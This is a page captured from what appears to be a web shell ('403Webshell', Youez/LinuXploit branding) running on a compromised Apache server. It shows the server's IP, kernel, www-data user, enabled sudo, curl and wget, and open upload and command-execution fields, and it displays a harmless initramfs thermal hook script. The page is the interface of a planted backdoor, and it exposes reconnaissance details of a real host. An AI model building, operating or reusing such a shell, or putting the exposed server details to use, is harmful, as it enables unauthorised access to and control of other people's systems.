403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.66
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/initramfs-tools/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/initramfs-tools/hooks/thermal
#!/bin/sh

PREREQ=""

prereqs()
{
	echo "$PREREQ"
}

case $1 in
# get pre-requisites
prereqs)
	prereqs
	exit 0
	;;
esac

# Hooks for loading thermal bits into the initramfs

. /usr/share/initramfs-tools/hook-functions

case "$DPKG_ARCH" in
# copy the right modules
powerpc|ppc64)

	# Only G5 Mac machines need to load
	# windfarm_core or one of the windfarm_pm* modules.

	[ -r /proc/cpuinfo ] || exit 0

	MODEL="$(grep model /proc/cpuinfo)"
	MODEL="${MODEL##*: }"

	case "$MODEL" in
	  RackMac3,1)
	    force_load windfarm_rm31
	    ;;
	  PowerMac7,2|PowerMac7,3)
	    force_load windfarm_pm72
	    ;;
	  PowerMac8,1|PowerMac8,2)
	    force_load windfarm_pm81
	    ;;
	  PowerMac9,1)
	    force_load windfarm_pm91
	    ;;
	  PowerMac11,2)
	    force_load windfarm_pm112
	    ;;
	  PowerMac12,1)
	    force_load windfarm_pm121
	    ;;
	  *)
	    # No other machine needs windfarm_* modules on initrd.
	    exit 0
	    ;;
	esac
	manual_add_modules windfarm_core windfarm_cpufreq_clamp \
		windfarm_lm75_sensor windfarm_max6690_sensor windfarm_pid \
		windfarm_smu_controls windfarm_smu_sat windfarm_smu_sensors
	;;
i386|amd64|ia64)
	manual_add_modules fan thermal
	;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit